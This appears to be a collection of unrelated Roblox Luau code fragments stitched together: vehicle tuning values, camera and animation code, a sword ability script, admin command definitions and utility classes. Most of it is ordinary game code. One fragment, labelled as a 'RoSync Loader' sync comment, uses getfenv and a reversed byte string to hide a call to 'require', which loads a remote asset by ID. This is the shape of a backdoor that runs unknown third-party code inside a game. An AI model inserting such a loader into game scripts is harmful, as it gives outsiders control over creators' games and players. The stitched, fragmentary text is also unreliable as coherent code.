return self.Type.Autocomplete(self:GetTransformedValue(#self.TransformedValues))
else
return {}
end
end
function Argument:ParseValue(i)
if self.Type.Parse then
return self.Type.Parse(self:GetTransformedValue(i))
else
return self:GetTransformedValue(i)
end
end
|
-- Events
|
MousePosition = Events:WaitForChild("MousePosition")
|
--[[Steering]]
|
Tune.SteerInner = 70 -- Inner wheel steering angle (in degrees)
Tune.SteerOuter = 70 -- Outer wheel steering angle (in degrees)
Tune.SteerSpeed = .5 -- Steering increment per tick (in degrees)
Tune.ReturnSpeed = .5 -- Steering increment per tick (in degrees)
Tune.SteerDecay = 320 -- Speed of gradient cutoff (in SPS)
Tune.MinSteer = 10 -- Minimum steering at max steer decay (in percent)
Tune.MSteerExp = 1 -- Mouse steering exponential degree
--Steer Gyro Tuning
Tune.SteerD = 1200 -- Steering Dampening
Tune.SteerMaxTorque = 50000 -- Steering Force
Tune.SteerP = 8000 -- Steering Aggressiveness
|
--[[
Want an explanation of the script? ٩(。•́‿•̀。)۶
https://youtu.be/a6WMCfSZF8k (Shirooo)
--]]
|
game:GetService('StarterGui'):SetCoreGuiEnabled(Enum.CoreGuiType.Backpack, false)
--< variables >--
local uis = game:GetService("UserInputService")
local player = game.Players.LocalPlayer
local char = workspace:WaitForChild(player.Name) -- added WaitForChild
local bp = player.Backpack
local hum = char:WaitForChild("Humanoid")
local frame = script.Parent.Frame
local template = frame.Template
local equipped = 0.2 -- icon transparencies
local unequipped = 0.7
local iconSize = template.Size
local iconBorder = {x = 15, y = 5} -- pixel space between icons
local inputKeys = { -- dictionary for effective referencing
["One"] = {txt = "1"},
["Two"] = {txt = "2"},
["Three"] = {txt = "3"},
["Four"] = {txt = "4"},
["Five"] = {txt = "5"},
["Six"] = {txt = "6"},
["Seven"] = {txt = "7"},
["Eight"] = {txt = "8"},
["Nine"] = {txt = "9"},
["Zero"] = {txt = "0"},
}
local inputOrder = { -- array for storing the order of the keys
inputKeys["One"],inputKeys["Two"],inputKeys["Three"],inputKeys["Four"],inputKeys["Five"],
inputKeys["Six"],inputKeys["Seven"],inputKeys["Eight"],inputKeys["Nine"],inputKeys["Zero"],
}
|
---[[ Font Settings ]]
|
module.DefaultFont = Enum.Font.GothamSemibold
module.ChatBarFont = Enum.Font.GothamSemibold
|
--[=[
Extracts the base value out of a packed linear value if needed.
@param value LinearValue<T> | any
@return T | any
]=]
|
function SpringUtils.fromLinearIfNeeded(value)
if LinearValue.isLinear(value) then
return value:ToBaseValue()
else
return value
end
end
return SpringUtils
|
-- local function make()
-- local p = Instance.new("Part")
-- p.Anchored = true;
-- p.CanCollide = false
-- p.Size = Vector3.new(0,0,0)
-- p.Parent = workspace
-- return p
-- end
--
-- Pets.Visualize = {make(),make(),make(),make()}
|
function Pets:GetHeight(char_cf, instance)
local instance_extents = instance:GetExtentsSize()
local center, size = instance:GetBoundingBox()
local points = {(center:PointToWorldSpace(Vector3.new(size.X/2,-size.Y/2,size.Z/2))),
(center:PointToWorldSpace(Vector3.new(-size.X/2,-size.Y/2,-size.Z/2))),
(center:PointToWorldSpace(Vector3.new(size.X/2,-size.Y/2,-size.Z/2))),
(center:PointToWorldSpace(Vector3.new(-size.X/2,-size.Y/2,size.Z/2)))
}
local ignore = {instance, Player.Character}
local height
local all_height = {}
|
--[[Weight and CG]]
|
Tune.Weight = 2871 -- Total weight (in pounds)
Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable)
--[[Width]] 6 ,
--[[Height]] 3.5 ,
--[[Length]] 15 }
Tune.WeightDist = 50 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)
Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels)
Tune.WBVisible = false -- Makes the weight brick visible
--Unsprung Weight
Tune.FWheelDensity = .1 -- Front Wheel Density
Tune.RWheelDensity = .1 -- Rear Wheel Density
Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF]
Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF]
Tune.AxleSize = 2.17 -- Size of structural members (larger = more stable/carry more weight)
Tune.AxleDensity = .1 -- Density of structural members
|
-- defines subject and height of VR camera
|
function VRBaseCamera:GetVRFocus(subjectPosition, timeDelta)
local lastFocus = self.lastCameraFocus or subjectPosition
self.cameraTranslationConstraints = Vector3.new(
self.cameraTranslationConstraints.x,
math.min(1, self.cameraTranslationConstraints.y + timeDelta),
self.cameraTranslationConstraints.z)
local cameraHeightDelta = Vector3.new(0, self:GetCameraHeight(), 0)
local newFocus = CFrame.new(Vector3.new(subjectPosition.x, lastFocus.y, subjectPosition.z):
Lerp(subjectPosition + cameraHeightDelta, self.cameraTranslationConstraints.y))
return newFocus
end
|
--[[
Calls destroy on all objects and clears the entire registry
]]
|
function Registry:removeAll()
for _, object in pairs(self.objects) do
object:destroy()
end
self.objects = {}
end
return Registry
|
-- ROBLOX MOVED: expect/utils.lua
|
local function iterableEquality(a: any, b: any, aStack: Array<any>, bStack: Array<any>): boolean | nil
aStack = aStack or {}
bStack = bStack or {}
if getType(a) ~= "set" or getType(b) ~= "set" then
return nil
end
-- ROBLOX deviation: omitting constructor check
local length = #aStack
while length > 0 do
-- Linear search. Performance is inversely proportional to the number of
-- unique nested structures.
-- circular references at same depth are equal
-- circular reference is not equal to non-circular one
if aStack[length] == a then
return bStack[length] == b
end
-- ROBLOX deviation: this if check is not included in upstream
-- if bStack[length] == b then
-- return aStack[length] == a
-- end
length -= 1
end
table.insert(aStack, a)
table.insert(bStack, b)
local function iterableEqualityWithStack(localA: any, localB: any)
return iterableEquality(localA, localB, { unpack(aStack) }, { unpack(bStack) })
end
-- ROBLOX TODO: (ADO-1217) If we eventually have a Map polyfill, we can
-- expand this to include the Map case as well
if a.size ~= nil then
if a.size ~= b.size then
return false
elseif isA("set", a) then
local allFound = true
for _, aValue in a:ipairs() do
if not b:has(aValue) then
local has = false
for _, bValue in b:ipairs() do
local isEqual = equals(aValue, bValue, { iterableEqualityWithStack })
if isEqual == true then
has = true
end
end
if has == false then
allFound = false
break
end
end
end
table.remove(aStack)
table.remove(bStack)
return allFound
end
end
return nil
-- ROBLOX deviation: omitted section of code for handling the case of a different
-- kind of iterable not covered by the above Set case
end
|
--//The logic behind the Starlight Sword's Chain-reaction ability
|
local Properties = {
Duration = 0, -- The current time the ability is active
MaxDuration = 5, -- How long can the ability delay itself before it fully executes.
LinkDamage = 10 -- The amount of damage multiplied per-person linked.
}
local FindFirstChild, FindFirstChildOfClass, WaitForChild = script.FindFirstChild, script.FindFirstChildOfClass, script.WaitForChild
local Clone, Destroy = script.Clone, script.Destroy
local Handle = WaitForChild(script, "HandleRef", 5)
local Creator = WaitForChild(script, "Creator", 5)
local InitialTarget = WaitForChild(script, "InitialTarget", 5)
if not InitialTarget or not InitialTarget.Value or not Handle or not Handle.Value or not Creator then script:Destroy() end
Handle = Handle.Value
Creator = Creator.Value
InitialTarget = InitialTarget.Value
local TargetTorso = (FindFirstChild(InitialTarget.Parent, "Torso") or FindFirstChild(InitialTarget.Parent, "UpperTorso"))
local Humanoid = FindFirstChildOfClass(Creator.Character, "Humanoid")
local Players = (game:FindService("Players") or game:GetService("Players"))
local Debris = (game:FindService("Debris") or game:GetService("Debris"))
local RunService = (game:FindService("RunService") or game:GetService("RunService"))
print("Starlight Link ability activated! Tag as much people as you can before " .. Properties.MaxDuration .. " seconds is up!")
local NewRay = Ray.new
local GetChildren, GetDescendants = script.GetChildren, script.GetDescendants
local IsA = script.IsA
function IsTeamMate(Player1, Player2)
return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor)
end
function TagHumanoid(humanoid, player)
local Creator_Tag = Instance.new("ObjectValue")
Creator_Tag.Name = "creator"
Creator_Tag.Value = player
Debris:AddItem(Creator_Tag, 2)
Creator_Tag.Parent = humanoid
end
function UntagHumanoid(humanoid)
for i, v in pairs(GetChildren(humanoid)) do
if IsA(v,"ObjectValue") and v.Name == "creator" then
Destroy(v)
end
end
end
local Deletables, Events = {}, {} --Put objects in the tables to discard when we're done.
local DurationValue = Instance.new("NumberValue")
DurationValue.Value = Properties.Duration
DurationValue.Name = "Duration"
DurationValue.Parent = script
local Attach = Instance.new("Attachment")
Deletables[#Deletables+1] = Attach
Attach.Name = "Constellation_Link"
Attach.Position = Vector3.new(0,0,0)
Attach.Parent = TargetTorso
local NewColorSequence = ColorSequence.new
local Color_1, Color_2 = Color3.fromRGB(0,170,255), Color3.new(1,1,1)
local Queue, AttachQueue, SparkleQueue = {}, {}, {}
local Sounds = {}
pcall(function()
local Sparkles = Clone(script["Sparkle_Large_Blue"])
SparkleQueue[#SparkleQueue+1] = Sparkles
Deletables[#Deletables+1] = Sparkles
Sparkles.Parent = TargetTorso
Sparkles.Enabled = true
Events[#Events+1] = DurationValue:GetPropertyChangedSignal("Value"):Connect(function()
Sparkles.Color = NewColorSequence(Color_1:Lerp(Color_2, Properties.Duration/Properties.MaxDuration), Color_2)
end)
end)
pcall(function()
local ExplodeSound = Clone(script.ExplodeSound)
Sounds[#Sounds+1] = ExplodeSound
ExplodeSound.Parent = Attach
end)
local LastAttachment = Attach --Reference the last attachment point we made.
local Hit_WhiteList, TaggedHumanoids = {}, {}
TaggedHumanoids[InitialTarget] = InitialTarget
local Total = 1
Queue[#Queue+1] = InitialTarget
AttachQueue[#AttachQueue+1] = Attach
function Link(hit)
if not hit or not hit.Parent then return end
Hit_WhiteList[1] = hit --Replace the Whitelisted entry (Also helps reduce lag)
--Do a Server-sided check to make sure the sword is in reasonable distance to the part hit (To prevent exploits)
local DistanceRay = NewRay( Handle.Position , (hit.Position - Handle.Position).Unit * math.max(Handle.Size.X,Handle.Size.Y,Handle.Size.Z) * 2 )
local part = workspace:FindPartOnRayWithWhitelist(DistanceRay, Hit_WhiteList , true)
--warn((part and "Part in range") or "Part not in range")
--assert(part, "Part not in range: Potential exploit")
if part ~= hit then return end -- Potential exploiter may be abusing the touched events
local FF, Hum, Torso = FindFirstChildOfClass(hit.Parent, "ForceField"), FindFirstChildOfClass(hit.Parent, "Humanoid"), (FindFirstChild(hit.Parent, "Torso") or FindFirstChild(hit.Parent, "UpperTorso"))
if FF or not Hum or not Torso or Hum == Humanoid or Hum.Health <= 0 or TaggedHumanoids[Hum] then return end --Don't hit yourself or anyone with a ForceField now..
if IsTeamMate(Creator, Players:GetPlayerFromCharacter(Hum.Parent)) then return end
TaggedHumanoids[Hum] = Hum --We got one!
Queue[#Queue+1] = Hum
Attach = Instance.new("Attachment")
AttachQueue[#AttachQueue+1] = Attach
pcall(function()
local ExplodeSound = Clone(script.ExplodeSound)
Sounds[#Sounds+1] = ExplodeSound
ExplodeSound.Parent = Attach
end)
Deletables[#Deletables+1] = Attach
Attach.Name = "Constellation_Link"
Attach.Position = Vector3.new(0,0,0)
--warn(LastAttachment)
if LastAttachment then
--Create a Constellation Beam from one target to another
pcall(function()
local Constellation_Beam = Clone(script["Constellation_Beam"])
Deletables[#Deletables+1] = Constellation_Beam
Constellation_Beam.Attachment0 = LastAttachment
Constellation_Beam.Attachment1 = Attach
Constellation_Beam.Enabled = true
Constellation_Beam.Parent = Attach
Events[#Events+1] = DurationValue:GetPropertyChangedSignal("Value"):Connect(function()
Constellation_Beam.Color = NewColorSequence(Color_1:Lerp(Color_2, Properties.Duration/Properties.MaxDuration))
end)
--print("Linked Targets!")
end)
end
pcall(function()
local Sparkles = Clone(script["Sparkle_Large_Blue"])
Deletables[#Deletables+1] = Sparkles
SparkleQueue[#SparkleQueue+1] = Sparkles
Sparkles.Parent = Torso
Sparkles.Enabled = true
Events[#Events+1] = DurationValue:GetPropertyChangedSignal("Value"):Connect(function()
Sparkles.Color = NewColorSequence(Color_1:Lerp(Color_2, Properties.Duration/Properties.MaxDuration), Color_2)
end)
end)
Attach.Parent = Torso
LastAttachment = Attach --Reference the last attachment point we made.
Total = Total + 1
--warn("Tagged " .. Hum.Parent.Name .. "!", "\n Pending damage: " .. Properties.LinkDamage * Total)
Properties.Duration = 0 --Reset the duration for every time you've tagged a person.
end
Handle.Touched:Connect(Link)
local Canceled = false
while Properties.Duration < Properties.MaxDuration and not Canceled do
local delta = RunService.Heartbeat:Wait()
Properties.Duration = Properties.Duration + delta
DurationValue.Value = Properties.Duration
--print(Properties.Duration)
end
|
--Right lean
|
XR15RightLegRightLean = -.5
YR15RightLegRightLean = -.35
ZR15RightLegRightLean = -.55
R15RightKneeRightLean = .1
XR15RightArmRightLean = .5
YR15RightArmRightLean = .5
ZR15RightArmRightLean = .72
R15RightElbowRightLean = 1.2
XR15LeftLegRightLean = -0
YR15LeftLegRightLean = .2
ZR15LeftLegRightLean = -.3
R15LeftKneeRightLean = .3
XR15LeftArmRightLean = -.5
YR15LeftArmRightLean = .3
ZR15LeftArmRightLean = -.2
R15LeftElbowRightLean = .2
XR15LowerTorsoRightLean = -.3
YR15LowerTorsoRightLean = .3
ZR15LowerTorsoRightLean = 0.1
ZR15UpperTorsoRightLean = .2
|
--[[Wheel Alignment]]
|
--[Don't physically apply alignment to wheels]
--[Values are in degrees]
Tune.FCamber = -5
Tune.RCamber = -5
Tune.FCaster = 0
Tune.FToe = 0
Tune.RToe = 0
|
--while configuracao.EnableMedSys do
-- if ACS_Client:GetAttribute("Bleeding") then
-- if ACS_Client:GetAttribute("Tourniquet")then
-- Sang.Value = (Sang.Value - 0.5)
-- else
-- Sang.Value = (Sang.Value - (MLs.Value/120))
-- MLs.Value = math.max(0,MLs.Value + 0.025)
-- end
-- end
| |
-- K is a tunable parameter that changes the shape of the S-curve
-- the larger K is the more straight/linear the curve gets
|
local k = 0.35
local lowerK = 0.8
local function SCurveTranform(t: number)
t = math.clamp(t, -1, 1)
if t >= 0 then
return (k*t) / (k - t + 1)
end
return -((lowerK*-t) / (lowerK + t + 1))
end
local DEADZONE = 0.1
local function toSCurveSpace(t: number)
return (1 + DEADZONE) * (2*math.abs(t) - 1) - DEADZONE
end
local function fromSCurveSpace(t: number)
return t/2 + 0.5
end
function CameraUtils.GamepadLinearToCurve(thumbstickPosition: Vector2)
local function onAxis(axisValue)
local sign = 1
if axisValue < 0 then
sign = -1
end
local point = fromSCurveSpace(SCurveTranform(toSCurveSpace(math.abs(axisValue))))
point = point * sign
return math.clamp(point, -1, 1)
end
return Vector2.new(onAxis(thumbstickPosition.x), onAxis(thumbstickPosition.y))
end
|
------------------------------------------------------------------------
-- make header (from lundump.c)
-- returns the header string
------------------------------------------------------------------------
|
function luaU:header()
local x = 1
return self.LUA_SIGNATURE..
string.char(
self.LUAC_VERSION,
self.LUAC_FORMAT,
x, -- endianness (1=little)
4, -- sizeof(int)
4, -- sizeof(size_t)
4, -- sizeof(Instruction)
8, -- sizeof(lua_Number)
0) -- is lua_Number integral?
end
|
--------------------[ ANIMATION FUNCTIONS ]-------------------------------------------
|
function Animate()
spawn(function()
local T = createL(HUD)
local baseStr = ""
local formatStr = "%s"
for _, Byte in pairs(ASCII) do
local Char = string.char(Byte)
baseStr = baseStr..Char
end
local newStr = string.format(formatStr, baseStr)
T.Text = newStr
end)
local Increment = 90 / 0.4--1.5 / 0.4
local runAlpha = 0
local currentlyCrawling = false
local crawlTween = false
INSERT(Connections, RS.RenderStepped:connect(function(dt)
--Movement Variable updating
isCrawling = (Stance == 2 and onGround and S.stanceSettings.crawlAnimation) and ((not Idling) and Walking) or false
isIdling = (((not onGround) and S.stopAnimsOnFall) and true or (Idling and (not Walking))) and (not Knifing) and (not isCrawling)
isWalking = (not Idling) and Walking and (not Running) and (not Knifing) and ((not S.stopAnimsOnFall) and true or onGround) and (not isCrawling)
isRunning = (not Idling) and Walking and Running and (not Knifing) and ((not S.stopAnimsOnFall) and true or onGround) and (not isCrawling)
crawlAlpha = math.min(math.max(crawlAlpha + (isCrawling and Increment or -Increment) * dt, 0), 90)
idleAlpha = math.min(math.max(idleAlpha + (isIdling and Increment or -Increment) * dt, 0), 90)
walkAlpha = math.min(math.max(walkAlpha + (isWalking and Increment or -Increment) * dt, 0), 90)
runAlpha = math.min(math.max(runAlpha + (isRunning and Increment or -Increment) * dt, 0), 90)
local posHip = (
Sine(idleAlpha) * (Anims.Idling["unAimed"](Anim.Ang)).Pos
) + (
Sine(walkAlpha) * (Anims.Walking["unAimed"](Anim.Ang)).Pos
) + (
Sine(runAlpha) * (Anims.Running(Anim.Ang)).Pos
)
local rotHip = (
Sine(idleAlpha) * (Anims.Idling["unAimed"](Anim.Ang)).Rot
) + (
Sine(walkAlpha) * (Anims.Walking["unAimed"](Anim.Ang)).Rot
) + (
Sine(runAlpha) * (Anims.Running(Anim.Ang)).Rot
)
local posAim = (
Sine(idleAlpha) * (Anims.Idling["Aimed"](Anim.Ang)).Pos
) + (
Sine(walkAlpha) * (Anims.Walking["Aimed"](Anim.Ang)).Pos
) + (
Sine(runAlpha) * (Anims.Running(Anim.Ang)).Pos
)
local rotAim = (
Sine(idleAlpha) * (Anims.Idling["Aimed"](Anim.Ang)).Rot
) + (
Sine(walkAlpha) * (Anims.Walking["Aimed"](Anim.Ang)).Rot
) + (
Sine(runAlpha) * (Anims.Running(Anim.Ang)).Rot
)
Anim.Pos = (1 - aimAlpha) * posHip + aimAlpha * posAim
Anim.Rot = (1 - aimAlpha) * rotHip + aimAlpha * rotAim
Anim.Ang = Anim.Ang + RAD(105 * dt) * stanceSway
--Gun Momentum updating
gunMomentum.t = V3(desiredXOffset, desiredYOffset, 0)
local newGunMomentum = gunMomentum.p
currentXOffset = newGunMomentum.X / S.momentumSettings.maxInput
currentYOffset = newGunMomentum.Y / S.momentumSettings.maxInput
--Recoil spring updating
gunRecoilSpring.t = recoilAnim.Rot
camRecoilSpring.t = camOffsets.Recoil.Rot
--Cross spring updating
if Aimed then
crossSpring.t = V3(-2, 0, 0)
else
crossSpring.t = V3(crossOffset + (baseSpread + currentSpread) * 50, 0, 0)
end
local newS = crossSpring.p.X
crossA.Position = UDim2.new(0.5, -1, 1, -newS / 2)
crossB.Position = UDim2.new(0, newS / 2 - 15, 0.5, -1)
crossC.Position = UDim2.new(0.5, -1, 0, newS / 2 - 15)
crossD.Position = UDim2.new(1, -newS / 2, 0.5, -1)
--Orientation updating
local finalCamOffset = getTotalCamOffset()
headWeld.C1 = CFANG(-camAng.y - finalCamOffset.Y, 0, 0)
if (not Humanoid.Sit) then
HRP.CFrame = CF(HRP.Position) * CFANG(0, camAng.x + finalCamOffset.X, 0)
end
--Walkspeed updating
if Running then
Humanoid.WalkSpeed = S.walkSpeeds.Sprinting
else
local SpeedRatio = S.walkSpeeds.Aimed / S.walkSpeeds.Base
if Stance == 0 then
Humanoid.WalkSpeed = (Aimed and S.walkSpeeds.Aimed or S.walkSpeeds.Base)
elseif Stance == 1 then
Humanoid.WalkSpeed = (Aimed and S.walkSpeeds.Crouched * SpeedRatio or S.walkSpeeds.Crouched)
elseif Stance == 2 then
Humanoid.WalkSpeed = (Aimed and S.walkSpeeds.Prone * SpeedRatio or S.walkSpeeds.Prone)
end
end
end))
local crawlAng = 0
while Selected do
if isCrawling then
breakReload = (Reloading and true or breakReload)
if Aimed then unAimGun(true) end
local tempCrawlAnim = Anims.Crawling(crawlAng, moveAng)
spawn(function()
local startCamRot = crawlCamRot
local startLLegCF = LLegWeld.C1
local startRLegCF = RLegWeld.C1
local t0 = tick()
while true do
RS.Heartbeat:wait()
local Alpha = math.min((tick() - t0) / 0.3, 1) * 90
if (not isCrawling) then break end
if (not Selected) then break end
crawlCamRot = numLerp(startCamRot, tempCrawlAnim.Camera, Sine(Alpha))
LLegWeld.C1 = startLLegCF:lerp(tempCrawlAnim.leftLeg, Linear(Alpha))
RLegWeld.C1 = startRLegCF:lerp(tempCrawlAnim.rightLeg, Linear(Alpha))
if Alpha == 90 then break end
end
end)
tweenJoint(LWeld, nil, tempCrawlAnim.leftArm, Linear, 0.3)
tweenJoint(RWeld, nil, tempCrawlAnim.rightArm, Linear, 0.3)
tweenJoint(Grip, nil, tempCrawlAnim.Grip, Linear, 0.3)
lowerSpread()
local t0 = tick()
while true do
local dt = RS.Heartbeat:wait()
if (not Selected) then break end
if (not isCrawling) then break end
if (tick() - t0) >= 0.3 then
local crawlAnim = Anims.Crawling(crawlAng, moveAng)
LWeld.C1 = crawlAnim.leftArm
RWeld.C1 = crawlAnim.rightArm
LLegWeld.C1 = crawlAnim.leftLeg
RLegWeld.C1 = crawlAnim.rightLeg
Grip.C1 = crawlAnim.Grip
crawlCamRot = crawlAnim.Camera
crawlAng = crawlAng + 0.5 * RAD(105 * dt) * (HRP.Velocity * V3(1, 0, 1)).magnitude / 3
end
end
else
crawlAng = 0
if (not equipAnimPlaying) then
spawn(function()
local startCamRot = crawlCamRot
local startLLegCF = LLegWeld.C1
local startRLegCF = RLegWeld.C1
local t0 = tick()
while true do
RS.RenderStepped:wait()
local Alpha = math.min((tick() - t0) / 0.3, 1) * 90
if isCrawling then break end
if (not Selected) then break end
crawlCamRot = numLerp(startCamRot, 0, Sine(Alpha))
LLegWeld.C1 = startLLegCF:lerp(CF(), Linear(Alpha))
RLegWeld.C1 = startRLegCF:lerp(CF(), Linear(Alpha))
if Alpha == 90 then break end
end
end)
if (not isRunning) then
tweenJoint(LWeld, nil, S.unAimedC1.leftArm, Sine, 0.3)
tweenJoint(RWeld, nil, S.unAimedC1.rightArm, Sine, 0.3)
tweenJoint(Grip, nil, S.unAimedC1.Grip, Sine, 0.3)
end
end
while true do
if (not Selected) then break end
if isCrawling then break end
RS.RenderStepped:wait()
end
end
wait()
end
end
function getAnimCF()
return CF(aimHeadOffset, 0, 0) * CFANG(
jumpAnim.Rot * COS(camAng.Y) * jumpAnimMultiplier + (-RAD(currentYOffset) * rotationMultiplier + gunRecoilSpring.p.X + Anim.Rot.X) * stanceSway,
(-RAD(currentXOffset) * rotationMultiplier + gunRecoilSpring.p.Y + Anim.Rot.Y) * stanceSway,
(RAD(currentXOffset) * rotationMultiplier + RAD(armTilt) * armTiltMultiplier + gunRecoilSpring.p.Z + Anim.Rot.Z) * stanceSway
) * CF(
(Anim.Pos.X + recoilAnim.Pos.X) * stanceSway,
jumpAnim.Pos * COS(camAng.Y) * jumpAnimMultiplier + (Anim.Pos.Y + recoilAnim.Pos.Y) * stanceSway,
-jumpAnim.Pos * SIN(camAng.Y) * jumpAnimMultiplier + (Anim.Pos.Z + recoilAnim.Pos.Z) * stanceSway
), CFANG(-camAng.Y * crawlAlpha / 90, 0, 0) * CF(aimHeadOffset, -1, 0)
end
|
-- Get the total component count
|
local TotalCount = (Indicator:WaitForChild 'ComponentCount').Value;
|
--[[Weight and CG]]
|
Tune.Weight = 6000 -- Total weight (in pounds)
Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable)
--[[Width]] 5 ,
--[[Height]] 8 ,
--[[Length]] 17 }
Tune.WeightDist = 60 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)
Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels)
Tune.WBVisible = false -- Makes the weight brick visible
--Unsprung Weight
Tune.FWheelDensity = .1 -- Front Wheel Density
Tune.RWheelDensity = .1 -- Rear Wheel Density
Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF]
Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF]
Tune.AxleSize = 2 -- Size of structural members (larger = more stable/carry more weight)
Tune.AxleDensity = .1 -- Density of structural members
|
-------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------
|
function onRunning(speed)
if speed>0 then
playAnimation("walk", 0.1, Humanoid)
pose = "Running"
else
playAnimation("idle", 0.1, Humanoid)
pose = "Standing"
end
end
function onDied()
pose = "Dead"
end
function onJumping()
playAnimation("jump", 0.1, Humanoid)
jumpAnimTime = jumpAnimDuration
pose = "Jumping"
end
function onClimbing(speed)
playAnimation("climb", 0.1, Humanoid)
setAnimationSpeed(speed / 12.0)
pose = "Climbing"
end
function onGettingUp()
pose = "GettingUp"
end
function onFreeFall()
if (jumpAnimTime <= 0) then
playAnimation("fall", fallTransitionTime, Humanoid)
end
pose = "FreeFall"
end
function onFallingDown()
pose = "FallingDown"
end
function onSeated()
pose = "Seated"
end
function onPlatformStanding()
pose = "PlatformStanding"
end
function onSwimming(speed)
if speed>0 then
pose = "Running"
else
pose = "Standing"
end
end
function getTool()
for _, kid in ipairs(Figure:GetChildren()) do
if kid:IsA("Tool") then return kid end
end
return nil
end
function getToolAnim(tool)
for _, c in ipairs(tool:GetChildren()) do
if c.Name == "toolanim" and c:IsA("StringValue") then
return c
end
end
return nil
end
function animateTool()
if (toolAnim == "None") then
playToolAnimation("toolnone", toolTransitionTime, Humanoid)
return
end
if (toolAnim == "Slash") then
playToolAnimation("toolslash", 0, Humanoid)
return
end
if (toolAnim == "Lunge") then
playToolAnimation("toollunge", 0, Humanoid)
return
end
end
function moveSit()
RightShoulder.MaxVelocity = 0.15
LeftShoulder.MaxVelocity = 0.15
RightShoulder:SetDesiredAngle(3.14 /2)
LeftShoulder:SetDesiredAngle(-3.14 /2)
RightHip:SetDesiredAngle(3.14 /2)
LeftHip:SetDesiredAngle(-3.14 /2)
end
local lastTick = 0
function move(time)
local amplitude = 1
local frequency = 1
local deltaTime = time - lastTick
lastTick = time
local climbFudge = 0
local setAngles = false
if (jumpAnimTime > 0) then
jumpAnimTime = jumpAnimTime - deltaTime
end
if (pose == "FreeFall" and jumpAnimTime <= 0) then
playAnimation("fall", fallTransitionTime, Humanoid)
elseif (pose == "Seated") then
stopAllAnimations()
moveSit()
return
elseif (pose == "Running") then
playAnimation("walk", 0.1, Humanoid)
elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then
|
-- Libraries
|
local Support = require(Libraries:WaitForChild 'SupportLibrary')
local Roact = require(Vendor:WaitForChild 'Roact')
local Maid = require(Libraries:WaitForChild 'Maid')
local Signal = require(Libraries:WaitForChild 'Signal')
|
--Expanding Blood Parts Function
|
local expandBlood = function(part)
local randomIncrement = math.random(5, 10) / 10
local tween = tweenSize(part, 5, Enum.EasingDirection.Out,
Vector3.new(part.Size.X + randomIncrement, 0.1, part.Size.Z + randomIncrement)
)
spawn(function()
tween.Completed:Wait()
tween:Destroy()
end)
end
|
--[[ Last synced 7/9/2021 08:31 RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722947559) --[[ ]]--
|
-- задаём размер кнопки
|
me=script.Parent
tmp=me.AbsoluteSize.X
me.Size=UDim2.new(0,tmp,0,tmp)
|
-- This script provides one aspect of support for older maps that use EventScript
-- by providing a module in a location where those older maps expect it.
--
-- ForbiddenJ
|
local WaterLib = require(game.ReplicatedStorage.WaterLib)
local mod = {}
function mod.moveWater(water, move, dur, isLocalSpace)
return WaterLib.MoveWater(water, move, dur, isLocalSpace)
end
function mod.setWaterState(water, state)
return WaterLib.SetWaterState(water, state)
end
return mod
|
--[[
A version of Component with a `shouldUpdate` method that forces the
resulting component to be pure.
]]
|
local Component = require(script.Parent.Component)
local PureComponent = Component:extend("PureComponent")
|
-- Don't set this above 1, it will cause glitchy behaviour.
|
local UpdateSpeed = 0.1 -- How fast the body will rotates.
local UpdateDelay = 0.05 -- How fast the heartbeat will update.
|
-- Local Functions
|
local function onCharacterAdded(character)
wait(1) -- You want to wait for the Animate script to load and run
local humanoid = character:WaitForChild("Humanoid")
for _, playingTracks in pairs(humanoid:GetPlayingAnimationTracks()) do
playingTracks:Stop(0)
end
local animateScript = character:WaitForChild("Animate")
for _, anim in ipairs(replacementAnimations) do
if not anim.isLoaded then continue end
local animations = animateScript:WaitForChild(anim.name):GetChildren()
-- Overwrite the IDs of all idle animation instances
for _, animVariant in ipairs(animations) do
animVariant.AnimationId = anim.id
-- If you really want to prevent the animations from being changed by something else you could do this too
animVariant:GetPropertyChangedSignal("AnimationId"):Connect(function()
animVariant.AnimationId = anim.id
end)
end
end
-- Stop all currently playing animation tracks on the player
for _, playingAnimation in pairs(humanoid:GetPlayingAnimationTracks()) do
playingAnimation:Stop()
playingAnimation:Destroy()
end
end
local function onPlayerAdded(player)
--Only run this code if an animation actually is loaded in.
local character = player.Character or player.CharacterAdded:wait()
onCharacterAdded(character)
end
|
-- print("Keyframe : ".. frameName)
|
local repeatAnim = currentAnim
-- return to idle if finishing an emote
if (emoteNames[repeatAnim] ~= nil and emoteNames[repeatAnim] == false) then
repeatAnim = "idle"
end
local animSpeed = currentAnimSpeed
playAnimation(repeatAnim, 0.15, Enemy)
setAnimationSpeed(animSpeed)
end
end
|
--Turbos
|
local PSI = 5
local Turbos = "Single" -- "Twin","Single"
local TurboSize = "Medium" -- "Small","Medium","Large"
local TwoStep = true
local Valve = "BOV" -- "BOV","Bleed"
|
-- Teleport.lua, inside your commands folder as defined above.
|
return {
Name = "teleport";
Aliases = {"tp"};
Description = "Teleports a player or set of players to one target.";
Group = "Admin";
Args = {
{
Type = "players";
Name = "from";
Description = "The players to teleport";
},
{
Type = "player";
Name = "to";
Description = "The player to teleport to"
}
};
}
|
--- Returns a new Maid object
-- @constructor Maid.new()
-- @treturn Maid
|
function Maid.new()
return setmetatable({
_tasks = {}
}, Maid)
end
function Maid.isMaid(value)
return type(value) == "table" and value.ClassName == "Maid"
end
|
-- << LOCAL FUNCTIONS >>
|
local function setupOriginalZIndex(frame, forceOnTop)
for a,b in pairs(frame:GetDescendants()) do
if b:IsA("GuiObject") and b:FindFirstChild("OriginalZIndex") == nil then
local iValue = Instance.new("IntValue")
iValue.Name = "OriginalZIndex"
local zValue = b.ZIndex
if forceOnTop then
zValue = zValue + 10000
end
iValue.Value = zValue
iValue.Parent = b
end
end
end
local function updateZIndex(list, specificFrame)
